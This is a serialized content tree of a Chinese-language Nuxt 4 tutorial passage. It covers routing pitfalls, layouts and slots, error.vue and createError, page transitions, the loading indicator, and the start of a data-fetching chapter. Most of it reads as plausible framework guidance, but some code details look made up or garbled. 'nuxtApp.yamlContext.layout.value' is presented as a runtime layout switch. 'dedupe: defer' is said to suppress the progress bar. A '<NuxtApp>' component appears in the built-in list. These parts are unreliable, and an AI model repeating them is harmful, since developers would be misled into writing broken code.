",[22,6721,6722],{},"path",[22,6724,6725],{},"[]","），否则进入父路径就是 500。",[11,6728,6729,268,6735,4843,6738,6741,6742,6745,6746,6749],{},[17,6730,6731,6732,161],{},"6. 只有 query 变化的跳转不会重跑 ",[22,6733,6734],{},"onMounted",[22,6736,6737],{},"\u002Flist?page=1",[22,6739,6740],{},"\u002Flist?page=2"," 复用同一组件实例。数据要跟着 query 走，请用 ",[22,6743,6744],{},"useFetch(url, { watch: [query] })"," 或 ",[22,6747,6748],{},"watch(() => route.query, ...)","（第五章展开）。",[11,6751,6752,6758,6759,6761,6762,6765],{},[17,6753,5772,6754,6757],{},[22,6755,6756],{},"keepAlive: true"," 后页面数据不再刷新。"," 与 Vue 教程第十四章同一个坑：",[22,6760,6734],{}," 只跑一次，需要「每次进入都刷新」请写 ",[22,6763,6764],{},"onActivated","，或对该页面关掉 keepAlive。",[11,6767,6768,268,6771,6774],{},[17,6769,6770],{},"8. 分组目录名里带斜杠或特殊字符。",[22,6772,6773],{},"(a\u002Fb)"," 是非法的，会被当成两层目录。分组名请只用字母数字和连字符。",[53,6776,6778],{"id":6777},"附文件名-url-速查","附：文件名 → URL 速查",[57,6780,6781,6794],{},[60,6782,6783],{},[63,6784,6785,6788,6791],{},[66,6786,6787],{},"文件",[66,6789,6790],{},"URL",[66,6792,6793],{},"读参数",[79,6795,6796,6809,6823,6837,6853,6868,6886,6903,6917],{},[63,6797,6798,6803,6807],{},[84,6799,6800],{},[22,6801,6802],{},"pages\u002Findex.vue",[84,6804,6805],{},[22,6806,655],{},[84,6808,5122],{},[63,6810,6811,6816,6821],{},[84,6812,6813],{},[22,6814,6815],{},"pages\u002Fabout.vue",[84,6817,6818],{},[22,6819,6820],{},"\u002Fabout",[84,6822,5122],{},[63,6824,6825,6830,6835],{},[84,6826,6827],{},[22,6828,6829],{},"pages\u002Fblog\u002Findex.vue",[84,6831,6832],{},[22,6833,6834],{},"\u002Fblog",[84,6836,5122],{},[63,6838,6839,6844,6848],{},[84,6840,6841],{},[22,6842,6843],{},"pages\u002Fblog\u002F[slug].vue",[84,6845,6846],{},[22,6847,6601],{},[84,6849,6850],{},[22,6851,6852],{},"route.params.slug",[63,6854,6855,6860,6865],{},[84,6856,6857],{},[22,6858,6859],{},"pages\u002Fblog\u002F[year]\u002F[month].vue",[84,6861,6862],{},[22,6863,6864],{},"\u002Fblog\u002F:year\u002F:month",[84,6866,6867],{},"两个参数",[63,6869,6870,6875,6880],{},[84,6871,6872],{},[22,6873,6874],{},"pages\u002Fdocs\u002F[...path].vue",[84,6876,6877],{},[22,6878,6879],{},"\u002Fdocs\u002F*",[84,6881,6882,6885],{},[22,6883,6884],{},"route.params.path","（数组）",[63,6887,6888,6893,6898],{},[84,6889,6890],{},[22,6891,6892],{},"pages\u002Fp\u002F[[id]].vue",[84,6894,6895],{},[22,6896,6897],{},"\u002Fp\u002F:id?",[84,6899,6900,6901],{},"可能为 ",[22,6902,5872],{},[63,6904,6905,6910,6915],{},[84,6906,6907],{},[22,6908,6909],{},"pages\u002F(group)\u002Fx.vue",[84,6911,6912],{},[22,6913,6914],{},"\u002Fx",[84,6916,5122],{},[63,6918,6919,6924,6929],{},[84,6920,6921],{},[22,6922,6923],{},"pages\u002Fusers\u002F[id]\u002Findex.vue",[84,6925,6926],{},[22,6927,6928],{},"\u002Fusers\u002F:id",[84,6930,6931,6932,6935,6936],{},"父 ",[22,6933,6934],{},"users\u002F[id].vue"," 需 ",[22,6937,6938],{},"\u003CNuxtPage\u002F>",[48,6940,6942],{"id":6941},"四布局错误页与页面骨架","四、布局、错误页与页面骨架",[11,6944,6945,6946,4809,6949,6952],{},"一个站点的所有页面共享的「页头 + 容器 + 页脚」叫布局。Nuxt 用 ",[22,6947,6948],{},"app\u002Flayouts\u002F",[22,6950,6951],{},"\u003CNuxtLayout>"," 承担这件事。",[53,6954,6955],{"id":6955},"根组件与默认布局",[11,6957,6958,6959,6962],{},"Nuxt 4 里 ",[22,6960,6961],{},"app\u002Fapp.vue"," 是根组件，标准形状就三行：",[308,6964,6966],{"className":5996,"code":6965,"language":5998,"meta":314,"style":314},"\u003C!-- app\u002Fapp.vue -->\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n",[22,6967,6968,6973,6981,6990,6999,7007],{"__ignoreMap":314},[331,6969,6970],{"class":333,"line":334},[331,6971,6972],{"class":1003},"\u003C!-- app\u002Fapp.vue -->\n",[331,6974,6975,6977,6979],{"class":333,"line":341},[331,6976,510],{"class":337},[331,6978,6012],{"class":497},[331,6980,505],{"class":337},[331,6982,6983,6985,6988],{"class":333,"line":357},[331,6984,537],{"class":337},[331,6986,6987],{"class":497},"NuxtLayout",[331,6989,505],{"class":337},[331,6991,6992,6994,6996],{"class":333,"line":371},[331,6993,6036],{"class":337},[331,6995,6053],{"class":497},[331,6997,6998],{"class":337}," \u002F>\n",[331,7000,7001,7003,7005],{"class":333,"line":384},[331,7002,778],{"class":337},[331,7004,6987],{"class":497},[331,7006,505],{"class":337},[331,7008,7009,7011,7013],{"class":333,"line":397},[331,7010,788],{"class":337},[331,7012,6012],{"class":497},[331,7014,505],{"class":337},[11,7016,7017,7020,7021,7023],{},[22,7018,7019],{},"app\u002Flayouts\u002Fdefault.vue"," 会被自动套上（因为文件名是 ",[22,7022,5854],{},"）：",[308,7025,7027],{"className":5996,"code":7026,"language":5998,"meta":314,"style":314},"\u003C!-- app\u002Flayouts\u002Fdefault.vue -->\n\u003Ctemplate>\n  \u003Cdiv class=\"site\">\n    \u003CSiteHeader \u002F>\n    \u003Cmain class=\"container\">\u003Cslot \u002F>\u003C\u002Fmain>\n    \u003CSiteFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,7028,7029,7034,7042,7057,7066,7095,7104,7112],{"__ignoreMap":314},[331,7030,7031],{"class":333,"line":334},[331,7032,7033],{"class":1003},"\u003C!-- app\u002Flayouts\u002Fdefault.vue -->\n",[331,7035,7036,7038,7040],{"class":333,"line":341},[331,7037,510],{"class":337},[331,7039,6012],{"class":497},[331,7041,505],{"class":337},[331,7043,7044,7046,7048,7050,7052,7055],{"class":333,"line":357},[331,7045,537],{"class":337},[331,7047,6021],{"class":497},[331,7049,6024],{"class":501},[331,7051,518],{"class":337},[331,7053,7054],{"class":365},"\"site\"",[331,7056,505],{"class":337},[331,7058,7059,7061,7064],{"class":333,"line":371},[331,7060,6036],{"class":337},[331,7062,7063],{"class":497},"SiteHeader",[331,7065,6998],{"class":337},[331,7067,7068,7070,7073,7075,7077,7080,7083,7086,7089,7091,7093],{"class":333,"line":384},[331,7069,6036],{"class":337},[331,7071,7072],{"class":497},"main",[331,7074,6024],{"class":501},[331,7076,518],{"class":337},[331,7078,7079],{"class":365},"\"container\"",[331,7081,7082],{"class":337},">\u003C",[331,7084,7085],{"class":497},"slot",[331,7087,6544],{"class":7088},"s6RL2",[331,7090,902],{"class":337},[331,7092,7072],{"class":497},[331,7094,505],{"class":337},[331,7096,7097,7099,7102],{"class":333,"line":397},[331,7098,6036],{"class":337},[331,7100,7101],{"class":497},"SiteFooter",[331,7103,6998],{"class":337},[331,7105,7106,7108,7110],{"class":333,"line":418},[331,7107,778],{"class":337},[331,7109,6021],{"class":497},[331,7111,505],{"class":337},[331,7113,7114,7116,7118],{"class":333,"line":427},[331,7115,788],{"class":337},[331,7117,6012],{"class":497},[331,7119,505],{"class":337},[11,7121,7122,7125,7126,7131,7132,7134,7135,7137],{},[22,7123,7124],{},"\u003Cslot \u002F>"," 就是页面组件插进来的位置。",[17,7127,7128,7129],{},"布局里不要直接写 ",[22,7130,5983],{},"，用 ",[22,7133,7124],{},"——这是官方明确的规定，写 ",[22,7136,5983],{}," 会导致嵌套层级错乱（布局切换时页面被重新挂载）。",[11,7139,7140],{},"换布局或不用布局：",[308,7142,7144],{"className":5996,"code":7143,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\ndefinePageMeta({ layout: 'doc' })     \u002F\u002F 用 app\u002Flayouts\u002Fdoc.vue\ndefinePageMeta({ layout: false })     \u002F\u002F 不要布局（登录页、独立工具页常用）\n\u003C\u002Fscript>\n",[22,7145,7146,7156,7171,7184],{"__ignoreMap":314},[331,7147,7148,7150,7152,7154],{"class":333,"line":334},[331,7149,510],{"class":337},[331,7151,891],{"class":497},[331,7153,6299],{"class":501},[331,7155,505],{"class":337},[331,7157,7158,7160,7163,7165,7168],{"class":333,"line":341},[331,7159,5510],{"class":501},[331,7161,7162],{"class":337},"({ layout: ",[331,7164,6455],{"class":365},[331,7166,7167],{"class":337}," })     ",[331,7169,7170],{"class":1003},"\u002F\u002F 用 app\u002Flayouts\u002Fdoc.vue\n",[331,7172,7173,7175,7177,7179,7181],{"class":333,"line":357},[331,7174,5510],{"class":501},[331,7176,7162],{"class":337},[331,7178,3193],{"class":344},[331,7180,7167],{"class":337},[331,7182,7183],{"class":1003},"\u002F\u002F 不要布局（登录页、独立工具页常用）\n",[331,7185,7186,7188,7190],{"class":333,"line":371},[331,7187,788],{"class":337},[331,7189,891],{"class":497},[331,7191,505],{"class":337},[11,7193,7194,7195,4839,7198,7201,7202,7205,7206,7209],{},"运行时切换：",[22,7196,7197],{},"nuxtApp.yamlContext.layout.value = 'doc'",[22,7199,7200],{},"useNuxtApp()"," 拿 ",[22,7203,7204],{},"nuxtApp","），或 ",[22,7207,7208],{},"\u003CNuxtLayout name=\"doc\">"," 手动包住一段内容。",[53,7211,7213,7214],{"id":7212},"错误页apperrorvue","错误页：",[22,7215,7216],{},"app\u002Ferror.vue",[308,7218,7220],{"className":5996,"code":7219,"language":5998,"meta":314,"style":314},"\u003C!-- app\u002Ferror.vue -->\n\u003Cscript setup>\nconst props = defineProps({ error: { type: Object, required: true } })\nconst home = () => navigateTo('\u002F')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"error\">\n    \u003Ch1>{{ error.statusCode }}\u003C\u002Fh1>\n    \u003Cp>{{ error.statusMessage || (error.statusCode === 404 ? '页面不存在' : '出错了') }}\u003C\u002Fp>\n    \u003Cbutton @click=\"home\">回首页\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,7221,7222,7227,7237,7257,7279,7287,7291,7299,7314,7327,7340,7361,7369],{"__ignoreMap":314},[331,7223,7224],{"class":333,"line":334},[331,7225,7226],{"class":1003},"\u003C!-- app\u002Ferror.vue -->\n",[331,7228,7229,7231,7233,7235],{"class":333,"line":341},[331,7230,510],{"class":337},[331,7232,891],{"class":497},[331,7234,6299],{"class":501},[331,7236,505],{"class":337},[331,7238,7239,7241,7244,7246,7249,7252,7254],{"class":333,"line":357},[331,7240,951],{"class":616},[331,7242,7243],{"class":344}," props",[331,7245,957],{"class":616},[331,7247,7248],{"class":501}," defineProps",[331,7250,7251],{"class":337},"({ error: { type: Object, required: ",[331,7253,1131],{"class":344},[331,7255,7256],{"class":337}," } })\n",[331,7258,7259,7261,7264,7266,7269,7271,7273,7275,7277],{"class":333,"line":371},[331,7260,951],{"class":616},[331,7262,7263],{"class":501}," home",[331,7265,957],{"class":616},[331,7267,7268],{"class":337}," () ",[331,7270,1489],{"class":616},[331,7272,6313],{"class":501},[331,7274,966],{"class":337},[331,7276,5345],{"class":365},[331,7278,972],{"class":337},[331,7280,7281,7283,7285],{"class":333,"line":384},[331,7282,788],{"class":337},[331,7284,891],{"class":497},[331,7286,505],{"class":337},[331,7288,7289],{"class":333,"line":397},[331,7290,998],{"emptyLinePlaceholder":997},[331,7292,7293,7295,7297],{"class":333,"line":418},[331,7294,510],{"class":337},[331,7296,6012],{"class":497},[331,7298,505],{"class":337},[331,7300,7301,7303,7305,7307,7309,7312],{"class":333,"line":427},[331,7302,537],{"class":337},[331,7304,6021],{"class":497},[331,7306,6024],{"class":501},[331,7308,518],{"class":337},[331,7310,7311],{"class":365},"\"error\"",[331,7313,505],{"class":337},[331,7315,7316,7318,7320,7323,7325],{"class":333,"line":439},[331,7317,6036],{"class":337},[331,7319,810],{"class":497},[331,7321,7322],{"class":337},">{{ error.statusCode }}\u003C\u002F",[331,7324,810],{"class":497},[331,7326,505],{"class":337},[331,7328,7329,7331,7333,7336,7338],{"class":333,"line":450},[331,7330,6036],{"class":337},[331,7332,11],{"class":497},[331,7334,7335],{"class":337},">{{ error.statusMessage || (error.statusCode === 404 ? '页面不存在' : '出错了') }}\u003C\u002F",[331,7337,11],{"class":497},[331,7339,505],{"class":337},[331,7341,7342,7344,7346,7349,7351,7354,7357,7359],{"class":333,"line":456},[331,7343,6036],{"class":337},[331,7345,824],{"class":497},[331,7347,7348],{"class":501}," @click",[331,7350,518],{"class":337},[331,7352,7353],{"class":365},"\"home\"",[331,7355,7356],{"class":337},">回首页\u003C\u002F",[331,7358,824],{"class":497},[331,7360,505],{"class":337},[331,7362,7363,7365,7367],{"class":333,"line":775},[331,7364,778],{"class":337},[331,7366,6021],{"class":497},[331,7368,505],{"class":337},[331,7370,7371,7373,7375],{"class":333,"line":785},[331,7372,788],{"class":337},[331,7374,6012],{"class":497},[331,7376,505],{"class":337},[11,7378,7379],{},"触发一个错误页（404\u002F500 的标准做法）：",[308,7381,7383],{"className":5205,"code":7382,"language":5207,"meta":314,"style":314},"\u002F\u002F 页面、中间件、服务端接口里都能用\nthrow createError({ statusCode: 404, statusMessage: '教程不存在', fatal: true })\n",[22,7384,7385,7390],{"__ignoreMap":314},[331,7386,7387],{"class":333,"line":334},[331,7388,7389],{"class":1003},"\u002F\u002F 页面、中间件、服务端接口里都能用\n",[331,7391,7392,7394,7397,7400,7403,7406,7409,7412,7414],{"class":333,"line":341},[331,7393,2507],{"class":616},[331,7395,7396],{"class":501}," createError",[331,7398,7399],{"class":337},"({ statusCode: ",[331,7401,7402],{"class":344},"404",[331,7404,7405],{"class":337},", statusMessage: ",[331,7407,7408],{"class":365},"'教程不存在'",[331,7410,7411],{"class":337},", fatal: ",[331,7413,1131],{"class":344},[331,7415,1139],{"class":337},[11,7417,7418,7419,7422],{},"本站教程详情页就是这么处理的：查不到文档就直接 ",[22,7420,7421],{},"throw createError({ statusCode: 404, fatal: true })","，而不是渲染一个「数据为空」的分支——前者能让爬虫和监控正确识别 404。",[11,7424,7425,7428,7429,7432,7433,7436,7437,7440,7441,7443,7444,7447],{},[22,7426,7427],{},"error.vue"," 有几点硬约束：它在",[17,7430,7431],{},"布局之外","（拿不到 ",[22,7434,7435],{},"useAppStore"," 之类），所以要用到的样式请在 ",[22,7438,7439],{},"app.vue"," 层或全局 CSS 里给；它不参与 ",[22,7442,4842],{}," 路由，别指望用 ",[22,7445,7446],{},"navigateTo('\u002Ferror')"," 跳过去。",[53,7449,7450],{"id":7450},"路由动画与公告",[308,7452,7454],{"className":5996,"code":7453,"language":5998,"meta":314,"style":314},"\u003CNuxtPage :transition=\"{ name: 'page', mode: 'out-in' }\" \u002F>\n\u003CNuxtRouteAnnouncer \u002F>      \u003C!-- 给读屏软件播报「已进入 关于 页」 -->\n",[22,7455,7456,7490],{"__ignoreMap":314},[331,7457,7458,7460,7462,7464,7467,7469,7471,7474,7477,7480,7483,7486,7488],{"class":333,"line":334},[331,7459,510],{"class":337},[331,7461,6053],{"class":497},[331,7463,2636],{"class":337},[331,7465,7466],{"class":501},"transition",[331,7468,518],{"class":337},[331,7470,6153],{"class":365},[331,7472,7473],{"class":337},"{ name: ",[331,7475,7476],{"class":365},"'page'",[331,7478,7479],{"class":337},", mode: ",[331,7481,7482],{"class":365},"'out-in'",[331,7484,7485],{"class":337}," }",[331,7487,6153],{"class":365},[331,7489,6998],{"class":337},[331,7491,7492,7494,7497,7500],{"class":333,"line":341},[331,7493,510],{"class":337},[331,7495,7496],{"class":497},"NuxtRouteAnnouncer",[331,7498,7499],{"class":337}," \u002F>      ",[331,7501,7502],{"class":1003},"\u003C!-- 给读屏软件播报「已进入 关于 页」 -->\n",[11,7504,7505,7508,7509,272,7512,7515,7516,7519,7520,4813],{},[22,7506,7507],{},"\u003CNuxtRouteAnnouncer>"," 是无障碍的正路（SPA 换页不会触发屏幕阅读器的标题播报）。动画需要配 CSS 类：",[22,7510,7511],{},".page-enter-from",[22,7513,7514],{},".page-leave-to","（和 Vue ",[22,7517,7518],{},"\u003CTransition>"," 一模一样，别漏 ",[22,7521,7522],{},"-from",[53,7524,7526,7527],{"id":7525},"加载态nuxtloadingindicator","加载态：",[22,7528,7529],{},"\u003CNuxtLoadingIndicator>",[308,7531,7533],{"className":5996,"code":7532,"language":5998,"meta":314,"style":314},"\u003C!-- app\u002Fapp.vue -->\n\u003Ctemplate>\n  \u003CNuxtLoadingIndicator color=\"#0969da\" \u002F>\n  \u003CNuxtLayout>\u003CNuxtPage \u002F>\u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n",[22,7534,7535,7539,7547,7564,7581],{"__ignoreMap":314},[331,7536,7537],{"class":333,"line":334},[331,7538,6972],{"class":1003},[331,7540,7541,7543,7545],{"class":333,"line":341},[331,7542,510],{"class":337},[331,7544,6012],{"class":497},[331,7546,505],{"class":337},[331,7548,7549,7551,7554,7557,7559,7562],{"class":333,"line":357},[331,7550,537],{"class":337},[331,7552,7553],{"class":497},"NuxtLoadingIndicator",[331,7555,7556],{"class":501}," color",[331,7558,518],{"class":337},[331,7560,7561],{"class":365},"\"#0969da\"",[331,7563,6998],{"class":337},[331,7565,7566,7568,7570,7572,7574,7577,7579],{"class":333,"line":371},[331,7567,537],{"class":337},[331,7569,6987],{"class":497},[331,7571,7082],{"class":337},[331,7573,6053],{"class":497},[331,7575,7576],{"class":337}," \u002F>\u003C\u002F",[331,7578,6987],{"class":497},[331,7580,505],{"class":337},[331,7582,7583,7585,7587],{"class":333,"line":384},[331,7584,788],{"class":337},[331,7586,6012],{"class":497},[331,7588,505],{"class":337},[11,7590,7591,7592,7594,7595,7597,7598,6745,7601,161],{},"放在 ",[22,7593,7439],{}," 里就能给「所有导航和 ",[22,7596,5482],{},"」共用的顶部进度条。不想让某个请求触发进度条：",[22,7599,7600],{},"useFetch(url, { dedupe: 'defer' })",[22,7602,7603],{},"\u003CNuxtLoadingIndicator :throttle=\"500\">",[53,7605,7607],{"id":7606},"单页面渲染不需要-layouts-的小项目","单页面渲染（不需要 layouts 的小项目）",[11,7609,7610,7611,7613,7614,161,7617,7625],{},"删掉 ",[22,7612,7439],{}," 时 Nuxt 会生成一个默认的 ",[22,7615,7616],{},"\u003Cdiv id=\"app\">\u003CNuxtLayout>\u003CNuxtPage\u002F>\u003C\u002FNuxtLayout>\u003C\u002Fdiv>",[17,7618,7619,7620,7622,7623],{},"留着 ",[22,7621,7439],{}," 但里面只有 ",[22,7624,6938],{}," 也是合法配置（没有布局需求时）。",[53,7627,4796],{"id":7628},"️-本章的坑-3",[11,7630,7631,7636,7637,7640,7641,161],{},[17,7632,7633,7634,161],{},"1. 布局里写 ",[22,7635,5983],{}," 布局切换时页面会被重复挂载，",[22,7638,7639],{},"definePageMeta({ key })"," 行为诡异。规则：",[17,7642,7643,7644,7646,7647],{},"页面用 ",[22,7645,6938],{},"，布局用 ",[22,7648,7649],{},"\u003Cslot\u002F>",[11,7651,7652,7660,7661,7663,7664,7667,7668,7671],{},[17,7653,5672,7654,7656,7657,161],{},[22,7655,7427],{}," 里访问 ",[22,7658,7659],{},"useRoute()"," 错误页不在正常路由上下文里，",[22,7662,7659],{}," 拿到的不是你以为的那个对象，",[22,7665,7666],{},"route.meta"," 是空的。需要的信息从 ",[22,7669,7670],{},"props.error"," 里取。",[11,7673,7674,268,7677,7680,7681,7684],{},[17,7675,7676],{},"3. 布局名字打错，静默回到 default。",[22,7678,7679],{},"definePageMeta({ layout: 'docs' })"," 但只有 ",[22,7682,7683],{},"doc.vue","，Nuxt 会警告后落到默认布局（或空白，取决于版本）。新建布局时先访问一次页面确认。",[11,7686,7687,268,7694,7697,7698,161],{},[17,7688,7689,7690,7693],{},"4. ",[22,7691,7692],{},"layouts\u002F"," 下的子目录文件不会自动生效。",[22,7695,7696],{},"layouts\u002Fadmin\u002Fsidebar.vue"," 不是布局。要复用片段请放 ",[22,7699,4644],{},[11,7701,7702,7705,7706,7709,7710,7712],{},[17,7703,7704],{},"5. 布局里放的数据请求会在每次换页时重跑？"," 不会——布局实例复用。但如果你用了 ",[22,7707,7708],{},"definePageMeta({ layout: false })"," 又 ",[22,7711,6951],{}," 手动包，就可能出现「同一份数据取两遍」。二选一。",[11,7714,7715,7721,7722,161],{},[17,7716,7717,7718,7720],{},"6. ",[22,7719,6951],{}," 的默认插槽必须只有一个元素。"," 包多个根元素会收到「Layout should have a single root element」警告（Vue 3 多根组件在这个位置不被允许）。外面套一个 ",[22,7723,7724],{},"\u003Cdiv>",[11,7726,7727,268,7730,7732,7733,7736,7737,7740],{},[17,7728,7729],{},"7. 静态生成时 404 页需要额外一份。",[22,7731,4569],{}," 会产出 ",[22,7734,7735],{},"404.html","，但服务器要真的把未知路径指到它（Nginx ",[22,7738,7739],{},"error_page 404 \u002Fnuxt\u002F404.html;","），否则用户看到 Nginx 的默认 404。第十三章有配置。",[53,7742,7744],{"id":7743},"附内置组件清单","附：内置组件清单",[57,7746,7747,7760],{},[60,7748,7749],{},[63,7750,7751,7754,7757],{},[66,7752,7753],{},"组件",[66,7755,7756],{},"放哪",[66,7758,7759],{},"作用",[79,7761,7762,7778,7792,7806,7818,7831,7844,7856,7868],{},[63,7763,7764,7772,7775],{},[84,7765,7766,7769,7770,5149],{},[22,7767,7768],{},"\u003CNuxtApp>"," 相关 API（",[22,7771,7200],{},[84,7773,7774],{},"任意",[84,7776,7777],{},"拿运行时上下文、注册钩子",[63,7779,7780,7785,7789],{},[84,7781,7782],{},[22,7783,7784],{},"\u003CNuxtPage>",[84,7786,7787],{},[22,7788,7439],{},[84,7790,7791],{},"渲染当前路由组件，可配 transition\u002Fkeepalive",[63,7793,7794,7798,7803],{},[84,7795,7796],{},[22,7797,6951],{},[84,7799,7800,7802],{},[22,7801,7439],{}," 或页面",[84,7804,7805],{},"套用布局",[63,7807,7808,7812,7815],{},[84,7809,7810],{},[22,7811,7124],{},[84,7813,7814],{},"布局内部",[84,7816,7817],{},"页面插入点",[63,7819,7820,7824,7828],{},[84,7821,7822],{},[22,7823,7529],{},[84,7825,7826],{},[22,7827,7439],{},[84,7829,7830],{},"顶部进度条",[63,7832,7833,7837,7841],{},[84,7834,7835],{},[22,7836,7507],{},[84,7838,7839],{},[22,7840,7439],{},[84,7842,7843],{},"路由变化的无障碍播报",[63,7845,7846,7851,7853],{},[84,7847,7848],{},[22,7849,7850],{},"\u003CClientOnly>",[84,7852,7774],{},[84,7854,7855],{},"内部只在客户端渲染（SSR 安全逃生舱）",[63,7857,7858,7863,7865],{},[84,7859,7860],{},[22,7861,7862],{},"\u003CDevOnly>",[84,7864,7774],{},[84,7866,7867],{},"内部只在开发环境渲染",[63,7869,7870,7875,7878],{},[84,7871,7872],{},[22,7873,7874],{},"\u003CNuxtWelcome>",[84,7876,7877],{},"临时页面",[84,7879,7880],{},"官方欢迎页（初始化时用一次）",[48,7882,7884,7885,5160,7887],{"id":7883},"五数据获取usefetch-与-useasyncdata","五、数据获取：",[22,7886,5482],{},[22,7888,5485],{},[11,7890,7891,7892,7895],{},"这是 Nuxt 的核心章节。",[17,7893,7894],{},"数据什么时候在服务端取、什么时候在客户端取、取几次","，决定了首屏速度、SEO 和一半的性能坑。",[53,7897,7899,7900],{"id":7898},"为什么不能用-onmounted-fetch","为什么不能用 ",[22,7901,7902],{},"onMounted + fetch",[11,7904,7905,7906,7911],{},"先想清楚这条链：SSR 阶段服务端跑组件时",[17,7907,7908,7909],{},"不会执行 ",[22,7910,6734],{},"（那是浏览器里的钩子），于是服务端渲染出的 HTML 里没有正文；到客户端才发请求，用户看着白屏或 loading 等一跳。爬虫抓到的也是空壳。",[11,7913,7914,1901,7916,7918],{},[22,7915,5482],{},[22,7917,5485],{}," 解决的就是这个：它们是「服务端会等待、结果会被序列化」的异步数据。",[308,7920,7922],{"className":5996,"code":7921,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\n\u002F\u002F 完整写法：顶层 await → 服务端取完才渲染 HTML\nconst { data: posts, pending, status, error, refresh } =\n  await useFetch('\u002Fapi\u002Fposts', { query: { page: 1 }, pick: ['id', 'title'] })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp v-if=\"pending\">加载中…\u003C\u002Fp>\n  \u003Cul v-else-if=\"!error\">\n    \u003Cli v-for=\"p in posts\" :key=\"p.id\">{{ p.title }}\u003C\u002Fli>\n  \u003C\u002Ful>\n  \u003Cp v-else class=\"err\">{{ error.statusMessage || '加载失败' }}\u003C\u002Fp>\n  \u003Cbutton @click=\"refresh()\">重新获取\u003C\u002Fbutton>\n\u003C\u002Ftemplate>\n",[22,7923,7924,7934,7939,7976,8008,8016,8020,8028,8049,8065,8094,8102,8125,8145],{"__ignoreMap":314},[331,7925,7926,7928,7930,7932],{"class":333,"line":334},[331,7927,510],{"class":337},[331,7929,891],{"class":497},[331,7931,6299],{"class":501},[331,7933,505],{"class":337},[331,7935,7936],{"class":333,"line":341},[331,7937,7938],{"class":1003},"\u002F\u002F 完整写法：顶层 await → 服务端取完才渲染 HTML\n",[331,7940,7941,7943,7945,7947,7949,7952,7954,7957,7959,7962,7964,7966,7968,7971,7973],{"class":333,"line":357},[331,7942,951],{"class":616},[331,7944,605],{"class":337},[331,7946,5868],{"class":2472},[331,7948,348],{"class":337},[331,7950,7951],{"class":344},"posts",[331,7953,409],{"class":337},[331,7955,7956],{"class":344},"pending",[331,7958,409],{"class":337},[331,7960,7961],{"class":344},"status",[331,7963,409],{"class":337},[331,7965,1333],{"class":344},[331,7967,409],{"class":337},[331,7969,7970],{"class":344},"refresh",[331,7972,2599],{"class":337},[331,7974,7975],{"class":616},"=\n",[331,7977,7978,7980,7983,7985,7988,7991,7994,7997,8000,8002,8005],{"class":333,"line":371},[331,7979,2523],{"class":616},[331,7981,7982],{"class":501}," useFetch",[331,7984,966],{"class":337},[331,7986,7987],{"class":365},"'\u002Fapi\u002Fposts'",[331,7989,7990],{"class":337},", { query: { page: ",[331,7992,7993],{"class":344},"1",[331,7995,7996],{"class":337}," }, pick: [",[331,7998,7999],{"class":365},"'id'",[331,8001,409],{"class":337},[331,8003,8004],{"class":365},"'title'",[331,8006,8007],{"class":337},"] })\n",[331,8009,8010,8012,8014],{"class":333,"line":384},[331,8011,788],{"class":337},[331,8013,891],{"class":497},[331,8015,505],{"class":337},[331,8017,8018],{"class":333,"line":397},[331,8019,998],{"emptyLinePlaceholder":997},[331,8021,8022,8024,8026],{"class":333,"line":418},[331,8023,510],{"class":337},[331,8025,6012],{"class":497},[331,8027,505],{"class":337},[331,8029,8030,8032,8034,8037,8039,8042,8045,8047],{"class":333,"line":427},[331,8031,537],{"class":337},[331,8033,11],{"class":497},[331,8035,8036],{"class":501}," v-if",[331,8038,518],{"class":337},[331,8040,8041],{"class":365},"\"pending\"",[331,8043,8044],{"class":337},">加载中…\u003C\u002F",[331,8046,11],{"class":497},[331,8048,505],{"class":337},[331,8050,8051,8053,8055,8058,8060,8063],{"class":333,"line":439},[331,8052,537],{"class":337},[331,8054,1773],{"class":497},[331,8056,8057],{"class":501}," v-else-if",[331,8059,518],{"class":337},[331,8061,8062],{"class":365},"\"!error\"",[331,8064,505],{"class":337},[331,8066,8067,8069,8071,8074,8076,8079,8082,8084,8087,8090,8092],{"class":333,"line":450},[331,8068,6036],{"class":337},[331,8070,1662],{"class":497},[331,8072,8073],{"class":501}," v-for",[331,8075,518],{"class":337},[331,8077,8078],{"class":365},"\"p in posts\"",[331,8080,8081],{"class":501}," :key",[331,8083,518],{"class":337},[331,8085,8086],{"class":365},"\"p.id\"",[331,8088,8089],{"class":337},">{{ p.title }}\u003C\u002F",[331,8091,1662],{"class":497},[331,8093,505],{"class":337},[331,8095,8096,8098,8100],{"class":333,"line":456},[331,8097,778],{"class":337},[331,8099,1773],{"class":497},[331,8101,505],{"class":337},[331,8103,8104,8106,8108,8111,8113,8115,8118,8121,8123],{"class":333,"line":775},[331,8105,537],{"class":337},[331,8107,11],{"class":497},[331,8109,8110],{"class":501}," v-else",[331,8112,6024],{"class":501},[331,8114,518],{"class":337},[331,8116,8117],{"class":365},"\"err\"",[331,8119,8120],{"class":337},">{{ error.statusMessage || '加载失败' }}\u003C\u002F",[331,8122,11],{"class":497},[331,8124,505],{"class":337},[331,8126,8127,8129,8131,8133,8135,8138,8141,8143],{"class":333,"line":785},[331,8128,537],{"class":337},[331,8130,824],{"class":497},[331,8132,7348],{"class":501},[331,8134,518],{"class":337},[331,8136,8137],{"class":365},"\"refresh()\"",[331,8139,8140],{"class":337},">重新获取\u003C\u002F",[331,8142,824],{"class":497},[331,8144,505],{"class":337},[331,8146,8147,8149,8151],{"class":333,"line":795},[331,8148,788],{"class":337},[331,8150,6012],{"class":497},[331,8152,505],{"class":337},[11,8154,8155,8156,8158,8159,8161,8162,8164,8165,4839,8167,8170,8171,8173,8174,8177,8178,4813],{},"返回值里五个字段各有分工：",[22,8157,5868],{}," 数据本体、",[22,8160,1333],{}," 失败时的错误对象、",[22,8163,7956],{},"（当前这一次请求）与 ",[22,8166,7961],{},[22,8168,8169],{},"idle | pending | success | error","）、",[22,8172,7970],{},"（重跑 handler）、",[22,8175,8176],{},"execute","（手动触发，配 ",[22,8179,8180],{},"immediate: false",[53,8182,8184,5160,8186,8188],{"id":8183},"usefetch-与-useasyncdata-的分工",[22,8185,5482],{},[22,8187,5485],{}," 